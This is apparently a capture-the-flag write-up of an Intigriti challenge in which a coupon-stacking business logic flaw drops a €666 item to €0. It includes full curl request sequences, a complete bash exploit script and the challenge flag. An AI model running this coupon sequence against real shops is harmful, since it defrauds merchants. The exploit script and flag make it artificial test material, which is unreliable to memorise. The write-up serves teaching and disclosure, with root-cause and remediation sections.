Post cover image

October 28, 2026

How I Solved Intigriti’s October 2026 Challenge: A Business Logic Flaw That Allowed a 100% Discount

Researcher: MD Mahmidul Hasan (BL4CK_570RM) Platform: Intigriti Challenge: October 2026, Challenge 1026 Vulnerability: Business Logic Error…

By MD Mahmidul Hasan

13 min read

Researcher: MD Mahmidul Hasan (BL4CK_570RM) Platform: Intigriti Challenge: October 2026, Challenge 1026 Vulnerability: Business Logic Error in Coupon Stacking Severity: Medium Affected Endpoint: POST /api/cart/coupon Target: https://challenge-1026.challenges.intigriti.io Submission Status: Accepted Report Reference: INTIGRITI-E8IO9TBO Date Solved: October 24, 2026

1. Introduction

On October 24, 2026, I started working on Intigriti's October 2026 challenge. The challenge was built around a Halloween-themed online shop, where the objective was to purchase a special product called "The Midnight Collection."

At first, the application looked like a normal e-commerce website. It had products, a shopping cart, promotional coupons, a newsletter subscription, and a checkout system.

However, there was one interesting problem.

The shop provided only €66 in starting credit, while the product I needed to purchase cost €666.

That meant I needed to somehow reduce the price by at least €600 before checkout would become possible.

Rather than focusing on traditional vulnerabilities such as SQL injection or cross-site scripting, I decided to investigate how the application handled discounts, promotional codes, and cart calculations.

My initial assumption was that the challenge might involve a business logic issue in the coupon system.

After testing the available functionality, I discovered that the application allowed the same promotional codes to be applied multiple times as long as another coupon was submitted between them.

By alternating two valid coupons, I was able to reduce the final cart total from €666 to €0.

The checkout endpoint then accepted the order and returned the challenge flag.

In this write-up, I will explain how I approached the challenge, identified the vulnerable logic, reproduced the issue, and completed the checkout.

2. Understanding the Challenge

The target application was available at:

https://challenge-1026.challenges.intigriti.io

The main objective was to purchase the limited-edition product:

The Midnight Collection

The product was listed at €666 and was marked as having only one unit available.

The application provided €66 of initial credit, which was not enough to complete the purchase.

ItemAmountThe Midnight Collection€666.00Available credit€66.00Amount beyond available credit€600.00Required price reduction to use only the credit€600.00

I started by looking at the application's API endpoints and the way it maintained the shopping session.

The endpoints involved in my investigation were:

GET /api/session
POST /api/newsletter
POST /api/cart/items
POST /api/cart/coupon
POST /api/checkout

Among these, the coupon endpoint became the main focus because it directly influenced the final purchase price.

3. Setting Up My Testing Environment

I used Kali Linux and cURL to interact directly with the application.

I wanted to keep the same session throughout the investigation so that all cart modifications, coupon applications, and checkout requests would belong to one session.

I defined the target URL and a cookie file:

BASE="https://challenge-1026.challenges.intigriti.io"
JAR="/tmp/halloween.cookies"
rm -f "$JAR"

The cookie file allowed cURL to save and reuse the session cookie returned by the server.

This was important because the shopping cart and available credit were associated with the active session.

4. Step 1: Checking the Initial Session

My first request was to the session endpoint.

Request:

curl -sS -i -c "$JAR" -b "$JAR" \
"$BASE/api/session"

Response:

HTTP/2 200
Content-Type: application/json; charset=utf-8
{
  "ok": true,
  "credit": 6600
}

The response confirmed that a session had been created successfully.

I noticed that the credit value was returned as 6600, which represented €66.00.

The application was using integer values in cents for its monetary calculations.

This was useful to understand before testing the cart because it meant the product price of €666 would appear as 66600 in the API responses.

At this point, I had a valid session with €66 credit.

5. Step 2: Obtaining a Promotional Coupon

The application included a newsletter subscription feature that provided a promotional code.

I submitted an email address to the newsletter endpoint.

Request:

curl -sS -i -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/newsletter" \
-H 'Content-Type: application/json' \
-d '{"email":"test@example.com"}'

Response:

{
  "ok": true,
  "code": "NEWS30",
  "message": "Your first-order code is ready."
}

The server returned the coupon:

NEWS30

This represented a 30% discount.

I also identified another valid promotional code:

NIGHT20

This represented a 20% discount.

Now I had two working coupon codes:

CouponDiscountNIGHT2020%NEWS3030%

At first, these looked like ordinary promotional codes.

However, I wanted to understand whether the application allowed multiple coupons, whether the discounts were calculated independently, and whether the same coupon could be reused.

Those questions eventually led to the vulnerability.

6. Step 3: Adding the Target Product to the Cart

Next, I added The Midnight Collection to my shopping cart.

Request:

curl -sS -i -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/items" \
-H 'Content-Type: application/json' \
-d '{"productId":"midnight-vault"}'

The server successfully added the product.

Relevant response:

{
  "ok": true,
  "message": "The Midnight Collection added to your bag.",
  "cart": {
    "items": [
      {
        "id": "midnight-vault",
        "name": "The Midnight Collection",
        "price": 66600,
        "quantity": 1,
        "lineTotal": 66600
      }
    ],
    "itemCount": 1,
    "subtotal": 66600,
    "discount": 0,
    "total": 66600,
    "credit": 6600,
    "canCheckout": false,
    "promotions": []
  }
}

The important values were:

Subtotal:    €666.00
Discount:      €0.00
Total:       €666.00
Credit:       €66.00
CanCheckout: false

The canCheckout property confirmed that the application would not allow checkout with the current total.

I now needed to understand how the cart behaved when promotional codes were applied.

7. Step 4: Applying the First Coupon

I started by applying NIGHT20.

Request:

curl -sS -i -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/coupon" \
-H 'Content-Type: application/json' \
-d '{"code":"NIGHT20"}'

Relevant response:

{
  "ok": true,
  "message": "20% promotion applied.",
  "cart": {
    "subtotal": 66600,
    "discount": 13320,
    "total": 53280,
    "credit": 6600,
    "canCheckout": false,
    "promotions": [
      {
        "code": "NIGHT20",
        "percent": 20,
        "amount": 13320,
        "count": 1
      }
    ]
  }
}

The coupon worked as expected.

The original price was €666, and 20% of €666 was €133.20.

The new total became:

€666.00 - €133.20 = €532.80

Nothing unusual had happened yet.

However, I noticed that the response contained a promotions array with a count property.

That property caught my attention because it suggested that the application was tracking how many times a coupon had been applied.

I decided to investigate that behavior further.

8. Step 5: Applying the Second Coupon

I applied NEWS30 to the same cart.

Request:

curl -sS -i -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/coupon" \
-H 'Content-Type: application/json' \
-d '{"code":"NEWS30"}'

Relevant response:

{
  "ok": true,
  "message": "30% promotion applied.",
  "cart": {
    "subtotal": 66600,
    "discount": 33300,
    "total": 33300,
    "credit": 6600,
    "canCheckout": false,
    "promotions": [
      {
        "code": "NIGHT20",
        "percent": 20,
        "amount": 13320,
        "count": 1
      },
      {
        "code": "NEWS30",
        "percent": 30,
        "amount": 19980,
        "count": 1
      }
    ]
  }
}

This response revealed something important.

The 30% discount was calculated using the original subtotal of €666, not the already discounted total of €532.80.

The application calculated:

NIGHT20 = 20% of €666 = €133.20
NEWS30  = 30% of €666 = €199.80
Total discount = €333.00
Remaining total = €333.00

Both discounts were being added together.

This was not necessarily a vulnerability by itself, since some stores intentionally allow multiple promotional offers.

The interesting part was that each discount was independently calculated against the original subtotal.

I started wondering what would happen if I submitted a coupon that had already been used.

9. Step 6: Reapplying NIGHT20

After applying NIGHT20 and NEWS30, I submitted NIGHT20 again.

Request:

curl -sS -i -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/coupon" \
-H 'Content-Type: application/json' \
-d '{"code":"NIGHT20"}'

I expected the application to reject the request because NIGHT20 was already present in the promotions array.

Instead, the server accepted it.

Relevant response:

{
  "ok": true,
  "message": "20% promotion applied.",
  "cart": {
    "subtotal": 66600,
    "discount": 46620,
    "total": 19980,
    "credit": 6600,
    "canCheckout": false,
    "promotions": [
      {
        "code": "NIGHT20",
        "percent": 20,
        "amount": 26640,
        "count": 2
      },
      {
        "code": "NEWS30",
        "percent": 30,
        "amount": 19980,
        "count": 1
      }
    ]
  }
}

This was the point where I confirmed the main business logic flaw.

The NIGHT20 coupon had now been applied twice.

The application updated its count from 1 to 2 and increased the corresponding discount amount.

The calculation was:

NIGHT20 (first use)  = €133.20
NEWS30  (first use)  = €199.80
NIGHT20 (second use) = €133.20
Total discount = €466.20
Remaining total = €199.80

The cart had now received a cumulative 70% discount.

The behavior suggested that the coupon validation was not checking the complete list of previously applied coupons.

Instead, it appeared to prevent only an immediate duplicate application, allowing a coupon to be reused after a different code was applied.

I could not confirm the exact server-side implementation from the API responses alone, but the observed behavior was consistent with that type of validation mistake.

10. Step 7: Applying NEWS30 Again

After confirming that NIGHT20 could be reused, I tried the same technique with NEWS30.

The sequence was now:

NIGHT20 -> NEWS30 -> NIGHT20 -> NEWS30

Request:

curl -sS -i -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/coupon" \
-H 'Content-Type: application/json' \
-d '{"code":"NEWS30"}'

Response:

{
  "ok": true,
  "message": "30% promotion applied.",
  "cart": {
    "subtotal": 66600,
    "discount": 66600,
    "total": 0,
    "credit": 6600,
    "canCheckout": true,
    "promotions": [
      {
        "code": "NIGHT20",
        "percent": 20,
        "amount": 26640,
        "count": 2
      },
      {
        "code": "NEWS30",
        "percent": 30,
        "amount": 39960,
        "count": 2
      }
    ]
  }
}

This was the result I was looking for.

The application accepted the second use of NEWS30.

Both coupon codes now had a count of 2.

More importantly, the cart total had become zero.

Subtotal:    €666.00
Discount:    €666.00
Total:         €0.00
Credit:       €66.00
CanCheckout: true

The application had accepted four coupon applications that added up to a 100% discount.

The checkout restriction was no longer preventing the purchase because the final payable amount was €0.

At this point, I had successfully bypassed the intended economic restriction of the challenge.

11. Understanding the Root Cause

The vulnerability was caused by improper coupon reuse validation combined with additive discount calculations.

Based on my testing, two weaknesses were responsible for the result.

11.1. Coupon reuse was not properly restricted

A promotional code that had already been applied could be submitted again after another valid code was used.

For example:

NIGHT20 -> Accepted
NEWS30  -> Accepted
NIGHT20 -> Accepted again
NEWS30  -> Accepted again

The application maintained a count of coupon applications but did not enforce a one-time-use restriction across the cart.

A proper validation mechanism should check the entire set of applied coupons, not just the most recently submitted coupon.

11.2. Discounts were accumulated against the original subtotal

Each successful coupon application added another percentage of the original product price to the total discount.

The application did not calculate each new discount against the remaining payable amount.

The calculation effectively behaved like this:

subtotal = 66600
discounts = [20, 30, 20, 30]
total_discount = sum(
    subtotal * percent // 100
    for percent in discounts
)
total = subtotal - total_discount
print(total)

Output:

0

This example illustrates the observed calculation. It is not the application's actual source code.

The server responses showed that the discounts were accumulated as separate amounts against the unchanged subtotal.

The application also failed to enforce an effective cumulative discount limit that would prevent this unintended free purchase.

Together, these issues allowed two ordinary promotional codes to be reused until the entire product price was discounted.

12. Step 8: Completing the Checkout

After reducing the cart total to zero, I submitted the checkout request.

Request:

curl -sS -i -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/checkout" \
-H 'Content-Type: application/json' \
-d '{}'

Response:

HTTP/2 200
Content-Type: application/json; charset=utf-8
{
  "ok": true,
  "receipt": {
    "orderId": "BLE-047DC4AA05",
    "paid": 0,
    "credit": 6600,
    "message": "Your order is confirmed and being prepared.",
    "flag": "INTIGRITI{094638e6-ba2f-4c50-8bb4-41ced0d5debd}"
  }
}

The checkout completed successfully.

The server returned an order confirmation, an order ID, and the challenge flag.

The important values were:

Order status: Confirmed
Original price: €666.00
Final price: €0.00
Amount paid: €0.00

The paid field confirmed that no payment was required.

The application had accepted the purchase of a €666 product without consuming the available €66 credit.

The challenge flag was:

INTIGRITI{094638e6-ba2f-4c50-8bb4-41ced0d5debd}
None

This confirmed that the challenge had been solved successfully.

13. Complete Exploitation Sequence

The entire issue could be reproduced with a small number of HTTP requests.

The following commands reproduce the sequence I used during testing

#!/bin/bash
BASE="https://challenge-1026.challenges.intigriti.io"
JAR="/tmp/halloween.cookies"
rm -f "$JAR"
# Step 1: Initialize the session
curl -sS -c "$JAR" -b "$JAR" \
"$BASE/api/session"
# Step 2: Obtain the newsletter coupon
curl -sS -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/newsletter" \
-H "Content-Type: application/json" \
-d '{"email":"test@example.com"}'
# Step 3: Add the target product
curl -sS -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/items" \
-H "Content-Type: application/json" \
-d '{"productId":"midnight-vault"}'
# Step 4: Apply NIGHT20
curl -sS -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/coupon" \
-H "Content-Type: application/json" \
-d '{"code":"NIGHT20"}'
# Step 5: Apply NEWS30
curl -sS -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/coupon" \
-H "Content-Type: application/json" \
-d '{"code":"NEWS30"}'
# Step 6: Reapply NIGHT20
curl -sS -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/coupon" \
-H "Content-Type: application/json" \
-d '{"code":"NIGHT20"}'
# Step 7: Reapply NEWS30
curl -sS -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/cart/coupon" \
-H "Content-Type: application/json" \
-d '{"code":"NEWS30"}'
# Step 8: Complete checkout
curl -sS -c "$JAR" -b "$JAR" \
-X POST "$BASE/api/checkout" \
-H "Content-Type: application/json" \
-d '{}'

All requests must use the same session.

The exploit does not require modifying product prices, tampering with payment information, or submitting a negative amount.

It works entirely through the application's existing coupon functionality.

14. Discount Calculation Breakdown

To understand how the vulnerability worked, I tracked the cart total after each coupon application.

The original price of The Midnight Collection was €666.00, and my available credit was only €66.00.

Here is how the discount accumulated.

Initial Cart: No Discount

Before applying any promotional code, the cart contained one product.

  • Original Price: €666.00
  • Applied Discount: €0.00
  • Remaining Total: €666.00
  • Checkout Available: No

At this stage, the product was too expensive to purchase with the available credit.

First Application: NIGHT20 (20% Discount)

I applied the NIGHT20 coupon, which reduced the original price by 20%.

Calculation:

€666.00 × 20% = €133.20

  • Discount Applied: €133.20
  • Cumulative Discount: €133.20
  • Remaining Total: €532.80

The application accepted the coupon, but checkout was still unavailable.

Second Application: NEWS30 (30% Discount)

Next, I applied the NEWS30 coupon.

The interesting part was that the server calculated the 30% discount against the original €666.00 subtotal, rather than the already discounted amount.

Calculation:

€666.00 × 30% = €199.80

  • Additional Discount: €199.80
  • Cumulative Discount: €333.00
  • Remaining Total: €333.00

At this point, the combined discount had reached 50%.

Third Application: NIGHT20 Again (20% Discount)

I then submitted NIGHT20 for the second time.

Normally, I would expect the application to reject a coupon that had already been applied.

However, the server accepted it and increased the coupon's usage count to two.

Calculation:

€666.00 × 20% = €133.20

  • Additional Discount: €133.20
  • Cumulative Discount: €466.20
  • Remaining Total: €199.80

The total discount had now reached 70%.

This confirmed that the application was not properly preventing coupon reuse.

Fourth Application: NEWS30 Again (30% Discount)

Finally, I submitted NEWS30 for the second time.

The application accepted this request as well.

Calculation:

€666.00 × 30% = €199.80

  • Additional Discount: €199.80
  • Cumulative Discount: €666.00
  • Remaining Total: €0.00
  • Checkout Available: Yes

This was the final step of the exploitation.

The application had now applied a 100% discount to the original product price.

Final Calculation

The complete coupon sequence was:

NIGHT20 → NEWS30 → NIGHT20 → NEWS30

The cumulative discount was:

  • NIGHT20: 20% + 20% = 40%
  • NEWS30: 30% + 30% = 60%
  • Total Discount: 100%

Final Price:

€666.00 − €666.00 = €0.00

The most important observation was that every coupon application was calculated against the original subtotal.

By combining this behavior with the coupon reuse flaw, I was able to reduce the entire product price to zero.

The checkout endpoint then accepted the order and returned the challenge flag.

15. Security Impact

In the context of the challenge, the immediate impact was the ability to purchase The Midnight Collection without paying anything and retrieve the flag.

In a real e-commerce application, a similar vulnerability could have serious financial and operational consequences.

Unauthorized discounts: Customers could repeatedly apply promotional codes to obtain discounts beyond the limits intended by the business.

Free purchases: If the checkout system accepted the manipulated cart total, an attacker could potentially complete orders without paying for the products.

Financial loss: A store could lose revenue by processing orders at heavily reduced or zero prices.

Limited-stock abuse: An attacker could potentially purchase or reserve limited-availability products without paying their intended price.

Promotion policy bypass: Restrictions on single-use or limited-use promotional codes could be bypassed through repeated submissions.

The demonstrated impact in this challenge was a confirmed zero-payment checkout for a €666 item.

The broader financial consequences would depend on how a real store handles coupon limits, order fulfillment, inventory, and payment validation.

To prevent this type of vulnerability, the application should enforce promotional code restrictions on the server side.

Validate coupons against the full cart history

Before applying a coupon, the server should check whether the same code has already been used in the current cart or by the customer, according to the promotion's rules.

Checking only the previously applied coupon is insufficient.

Enforce coupon usage limits

Each coupon should have clearly defined restrictions, including:

  • Maximum uses per cart
  • Maximum uses per customer
  • Whether stacking with other promotions is permitted
  • Maximum discount amount
  • Applicable products and eligibility requirements

Apply an explicit cumulative discount policy

The application should enforce the maximum total discount allowed by the business.

If multiple promotions are permitted, their combined effect should still respect the configured limits.

Recalculate the cart on the server

The final payable amount should be calculated using trusted server-side pricing and validated promotion records.

The checkout endpoint should independently verify that every applied discount is valid before creating an order.

Test coupon application sequences

Security testing should include repeated and alternating coupon submissions.

For example:

A -> A
A -> B -> A
A -> B -> A -> B
B -> A -> B -> A

These tests can identify flaws that may not appear when each promotional code is tested individually.

17. Disclosure and Challenge Result

After reproducing the issue and successfully completing the checkout, I submitted my findings through the Intigriti platform.

My report was titled:

Business logic error in coupon stacking allows 100% discount and flag disclosure

I included the vulnerable endpoint, the coupon application sequence, the relevant API responses, the resulting zero-value cart, and the checkout confirmation containing the flag.

The report was submitted on October 24, 2026.

On October 26, 2026, Intigriti changed the submission status from Pending to Accepted.

The Intigriti team confirmed that I had successfully solved the challenge.

They also encouraged me to prepare a public write-up so that other security researchers could learn from the finding.

18. What I Learned From This Challenge

This challenge was a good reminder that security vulnerabilities do not always involve complicated payloads or advanced exploitation techniques.

Sometimes the issue is simply that an application does not properly enforce its own business rules.

What made this challenge interesting to me was the interaction between two otherwise legitimate features.

The first was the ability to apply multiple promotional codes.

The second was the way the application calculated each discount against the original subtotal.

Neither behavior alone was enough to explain the complete exploit.

The real problem appeared when I discovered that the same coupon could be reused after another coupon had been applied.

The count field in the API response helped me understand what was happening internally. Once I saw that a previously used coupon could increase its count to two, the remaining exploitation path became clear.

This is why I think business logic testing requires more than sending unusual input.

It requires understanding how an application is supposed to work, observing how its state changes, and testing whether different features can be combined in ways the developers did not intend.

19. Conclusion

I successfully solved Intigriti's October 2026 challenge by identifying and exploiting a business logic vulnerability in the shopping cart's coupon system.

The application allowed me to alternate two valid promotional codes, NIGHT20 and NEWS30, and apply each one twice.

Because the discounts were calculated against the original subtotal and accumulated, the total discount reached 100%.

As a result, I reduced the price of The Midnight Collection from €666 to €0 and completed the checkout without making a payment.

The server returned the challenge flag, and Intigriti later accepted my submission.

For me, the main takeaway from this challenge is simple: understanding how an application handles its business rules can be just as important as looking for traditional technical vulnerabilities.

A small validation mistake in a coupon system was enough to bypass the intended checkout restrictions completely.

Researcher: MD Mahmidul Hasan Handle: BL4CK_570RM Challenge: Intigriti October 2026 Status: Solved and Accepted

This research was conducted against Intigriti's intentionally vulnerable challenge environment for educational and authorized security testing purposes.